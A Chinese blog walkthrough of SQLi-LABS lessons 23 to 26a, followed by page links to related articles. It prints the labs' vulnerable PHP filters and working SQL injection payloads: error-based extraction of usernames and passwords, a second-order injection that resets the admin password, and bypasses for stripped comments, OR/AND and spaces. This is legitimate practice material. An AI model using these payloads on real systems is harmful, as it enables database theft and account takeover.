SQLi-LABS Page-2 (Adv Injections) Less23-Less26
Less-23
GET - Error based - strip comments
http://10.10.202.112/sqli/Less-23?id=1'
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ''1'' LIMIT 0,1' at line 1
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
SELECT * FROM users WHERE id='$id' LIMIT 0,1

http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),null) or '1'='1

username字段
http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x7573657273 limit 1,1)),null) or '1'='1
password字段
http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x7573657273 limit 2,1)),null) or '1'='1
获取数据
http://10.10.202.112/sqli/Less-23?id=1' and updatexml(null,concat(0x0a,(select concat(username,0x7e,password) from users limit 0,1)),null) or '1'='1

Less-24
POST- Second Oder Injections *Real treat store injection

这里属于二次注入漏洞

使用:
username: admin'#
password: 123


此时:admin的密码被修改成123456
SQL语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'
Less-25
GET -Error based - All you OR & AND belong to us - string single quote
看源码提示直接把 or、and过滤了,但是可以用&&、||绕过:
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
return $id;
}
payload:
1'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
http://10.10.202.112/sqli/Less-25?id=1' oorrder by 3 -- -
http://10.10.202.112/sqli/Less-25?id=-1' union select 1,2,3 -- -
http://10.10.202.112/sqli/Less-25?id=-1' union select 1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 -- -

Less-25a
GET - Blind Based - All your OR & and belong to us-intiger based
次数也是过滤了or 和 AND 关键词:
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
return $id;
}
采用双写绕过:
ORDER BY 4---- OORRDER BY 4
判断列:
http://10.10.202.112/sqli/Less-25a?id=1 OORRDER BY 3 --+ #true
http://10.10.202.112/sqli/Less-25a?id=1 OORRDER BY 4 --+ #false
http://10.10.202.112/sqli/Less-25a?id=-1 +UNION+ALL+SELECT+1,2,3 --+

http://10.10.202.112/sqli/Less-25a?id=-1 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.SCHEMATA),3 --+

Less-26
GET - Error based - All your SPACES and comment belong to us
题目提示空格与注释被过滤了,可以使用
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
绕过,可以盲注也可以报错注入
payload:
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-26a
GET - Blind Based - All your SPACES
提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注
http://10.10.202.112/sqli/Less-26a?id=1' #false
http://10.10.202.112/sqli/Less-26a?id=1' || '1'='1 #true
payload:
0'||left(database(),1)='s'%26%26'1'='1
http://10.10.202.112/sqli/Less-26a/?id=0'||left(database(),1)='s'%26%26'1'='1

待续!!!
点击赞赏二维码,您的支持将鼓励我继续创作!

SQLi-LABS Page-2 (Adv Injections) Less23-Less26的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
		好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ... 
- Sqli labs系列-less-3 。。。
		原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ... 
- Sqli labs系列-less-2 详细篇
		就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ... 
- Sqli labs系列-less-1 详细篇
		要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ... 
- SQLI LABS Advanced Part(23-37) WriteUp
		继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ... 
- 【靶场练习_sqli-labs】SQLi-LABS Page-2 (Adv Injections)
		Less-21:括号+单引号绕过+base64cookie编码 总感觉我已经把sql注入做成代码审计了:P <?php //including the Mysql connect paramet ... 
- SQLi-LABS Page-2 (Adv Injections) Less30-Less35
		Less-30 GET - BLIND - IMPIDENCE MISMATCH- Having http://10.10.202.112/sqli/Less-30?id=1" #false ... 
- SQLi-LABS Page-2 (Adv Injections) Less27-Less29
		Less-27 GET - Error Based- All your UNION and select belong to us 过滤了union 和select的报错注入 查看源码: 使用%09 ... 
- SQL注入系列:SQLi Labs
		前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ... 
随机推荐
- gradle使用基础
			说明 介绍gradle使用基础,gradle基础脚本结构和常规使用方法,以及一个简单的gradle示例.主要是为了简单的介绍gradle使用. gradle环境配置 gradle可以通过两种方式运行g ... 
- Activit 5.13 工作流部署新版本后回退到上一个版本
			有时因为某些原因Activit流程部署新版本后,还没有发起流程,回退到上一个版本.操作过程: 1.查询版本更新记录,记录字段ID_值,假设值为100: select to_char(t.deploy_ ... 
- 用python绘画一些简单图片
			python画笑脸 程序源代码 import turtle #画脸 t = turtle.Pen() t.speed(15) #t.circle(150) #t.color('orange') t.f ... 
- linux 创建虚拟块设备,制作文件系统并挂载,用于测试lustre
			1.制作块文件 3 个 [root@localhost yaoxu]# [root@localhost yaoxu]# [root@localhost yaoxu]# 2.创建回环设备 [root@l ... 
- Windows | Ubuntu18.04分别安装Matlab 2017b破解版
			首先下载好Windows和Ubuntu 版本的MATLAB 2017b 安装包, 1.Windows上安装,解压文件R2017b_win64_dvd1.iso和R2017b_win64_dvd2.is ... 
- minimize.m:共轭梯度法更新BP算法权值
			minimize.m:共轭梯度法更新BP算法权值 作者:凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ Carl Edward Rasmussen在高斯机器学 ... 
- vue之tab切换
			<style> .active{ color: red; } div a{ display: block; } </style> <script src="ht ... 
- 2.Python网络编程_TCP(简略版)
			TCP监听套接字: 当新的客户端请求连接时,服务器端监听套接字收到消息,会分配一个新的套接字对应于客户端(新socket包括四部分:源IP.源端口号.目的IP.目的端口号)用于接收客户端的消息,仔细观 ... 
- table表格属性
- Spring Boot 中Bean的初始化后和销毁前的处理
			Spring 对Bean的生命周期的操作提供了支持.具体实现又两种方式 1.使用@Bean 中的 initMethod 和 destroyMethod2.注解方式 利用JSR-250 中的@PostC ... 
